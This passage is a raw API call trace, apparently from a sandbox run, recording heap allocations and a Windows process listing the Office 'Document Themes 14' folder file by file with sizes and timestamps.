BaseAddress=0xa256b8) returned 1 [0072.051] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.051] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.051] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.051] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5d9a8 [0072.051] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73aa4800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a99dc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x73aa4800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x555df, dwReserved0=0x0, dwReserved1=0x0, cFileName="Elemental.thmx", cAlternateFileName="")) returned 1 [0072.052] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2d000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xac2d000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x10f61, dwReserved0=0x0, dwReserved1=0x0, cFileName="Equity.thmx", cAlternateFileName="")) returned 1 [0072.052] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x478ec700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x478ec700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xc278, dwReserved0=0x0, dwReserved1=0x0, cFileName="Essential.thmx", cAlternateFileName="")) returned 1 [0072.052] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x773dcf00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ae6080, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x773dcf00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd748, dwReserved0=0x0, dwReserved1=0x0, cFileName="Executive.thmx", cAlternateFileName="")) returned 1 [0072.052] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11e9de00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ae6080, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x11e9de00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x100a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flow.thmx", cAlternateFileName="")) returned 1 [0072.052] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe565700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b0c1e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe565700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xf814, dwReserved0=0x0, dwReserved1=0x0, cFileName="Foundry.thmx", cAlternateFileName="")) returned 1 [0072.052] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b224e00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b0c1e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4b224e00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd2e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grid.thmx", cAlternateFileName="")) returned 1 [0072.052] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d84a800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b32340, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4d84a800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x60041, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hardcover.thmx", cAlternateFileName="")) returned 1 [0072.052] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ad15600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b584a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7ad15600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x3becb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Horizon.thmx", cAlternateFileName="")) returned 1 [0072.052] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x157d6500, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b584a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x157d6500, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x146a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Median.thmx", cAlternateFileName="")) returned 1 [0072.052] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1910ec00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b7e600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1910ec00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x13af1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Metro.thmx", cAlternateFileName="")) returned 1 [0072.052] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b734600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b7e600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1b734600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1583a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Module.thmx", cAlternateFileName="")) returned 1 [0072.052] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e64dd00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ba4760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7e64dd00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x96ac7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Newsprint.thmx", cAlternateFileName="")) returned 1 [0072.052] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f06cd00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ba4760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1f06cd00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x132b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Opulent.thmx", cAlternateFileName="")) returned 1 [0072.052] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x229a5400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bca8c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x229a5400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x16ef4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oriel.thmx", cAlternateFileName="")) returned 1 [0072.052] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x262ddb00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bca8c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x262ddb00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1540b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Origin.thmx", cAlternateFileName="")) returned 1 [0072.052] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29c16200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c16b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x29c16200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x421e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Paper.thmx", cAlternateFileName="")) returned 1 [0072.052] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51182f00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c16b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x51182f00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd15a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perspective.thmx", cAlternateFileName="")) returned 1 [0072.052] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54abb600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c3cce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x54abb600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xc97ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pushpin.thmx", cAlternateFileName="")) returned 1 [0072.052] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81f86400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x81f86400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x106e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slipstream.thmx", cAlternateFileName="")) returned 1 [0072.052] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c23bc00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2c23bc00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x124a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solstice.thmx", cAlternateFileName="")) returned 1 [0072.052] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fb74300, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2fb74300, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x10d83, dwReserved0=0x0, dwReserved1=0x0, cFileName="Technic.thmx", cAlternateFileName="")) returned 1 [0072.053] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59706a00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x59706a00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x15d75, dwReserved0=0x0, dwReserved1=0x0, cFileName="Thatch.thmx", cAlternateFileName="")) returned 1 [0072.053] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c9cf70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603f4990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Theme Colors", cAlternateFileName="")) returned 1 [0072.053] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5caf100, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Theme Effects", cAlternateFileName="")) returned 1 [0072.053] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528a9ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6187c750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Theme Fonts", cAlternateFileName="")) returned 1 [0072.053] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x334aca00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x334aca00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x2a23c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Trek.thmx", cAlternateFileName="")) returned 1 [0072.053] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36de5100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x36de5100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xfc70, dwReserved0=0x0, dwReserved1=0x0, cFileName="Urban.thmx", cAlternateFileName="")) returned 1 [0072.053] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a71d800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3a71d800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x12600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verve.thmx", cAlternateFileName="")) returned 1 [0072.053] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d03f100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5d03f100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x2c681, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.thmx", cAlternateFileName="")) returned 1 [0072.053] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d03f100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5d03f100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x2c681, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.thmx", cAlternateFileName="")) returned 0 [0072.053] GetLastError () returned 0x12 [0072.053] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0072.053] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0072.053] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5cd5260, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.053] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f664b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5f664b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd0aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adjacency.thmx", cAlternateFileName="")) returned 1 [0072.053] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62f9d200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x62f9d200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x11098, dwReserved0=0x0, dwReserved1=0x0, cFileName="Angles.thmx", cAlternateFileName="")) returned 1 [0072.053] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfda5e100, ftCreationTime.dwHighDateTime=0x1cbded8, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfda5e100, ftLastWriteTime.dwHighDateTime=0x1cbded8, nFileSizeHigh=0x0, nFileSizeLow=0x3f427, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apex.thmx", cAlternateFileName="")) returned 1 [0072.053] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cd43200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3cd43200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x15a56, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apothecary.thmx", cAlternateFileName="")) returned 1 [0072.053] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1396800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1396800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x109e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aspect.thmx", cAlternateFileName="")) returned 1 [0072.053] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4067b900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe598f420, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4067b900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1763b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Austin.thmx", cAlternateFileName="")) returned 1 [0072.053] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x668d5900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59b5580, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x668d5900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x9ff03, dwReserved0=0x0, dwReserved1=0x0, cFileName="Black Tie.thmx", cAlternateFileName="")) returned 1 [0072.053] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ccef00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59b5580, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4ccef00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x18c11, dwReserved0=0x0, dwReserved1=0x0, cFileName="Civic.thmx", cAlternateFileName="")) returned 1 [0072.053] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43fb4000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59db6e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x43fb4000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x105f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Clarity.thmx", cAlternateFileName="")) returned 1 [0072.054] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a20e000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a01840, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6a20e000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x8ad4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Composite.thmx", cAlternateFileName="")) returned 1 [0072.054] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8607600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a279a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8607600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1240d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Concourse.thmx", cAlternateFileName="")) returned 1 [0072.054] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee59400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a99dc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6ee59400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1e92c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Couture.thmx", cAlternateFileName="")) returned 1 [0072.054] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73aa4800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a99dc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x73aa4800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x555df, dwReserved0=0x0, dwReserved1=0x0, cFileName="Elemental.thmx", cAlternateFileName="")) returned 1 [0072.054] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2d000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xac2d000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x10f61, dwReserved0=0x0, dwReserved1=0x0, cFileName="Equity.thmx", cAlternateFileName="")) returned 1 [0072.054] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x478ec700, ftCreationTime.dwHighDateTime=0x1cbded9, 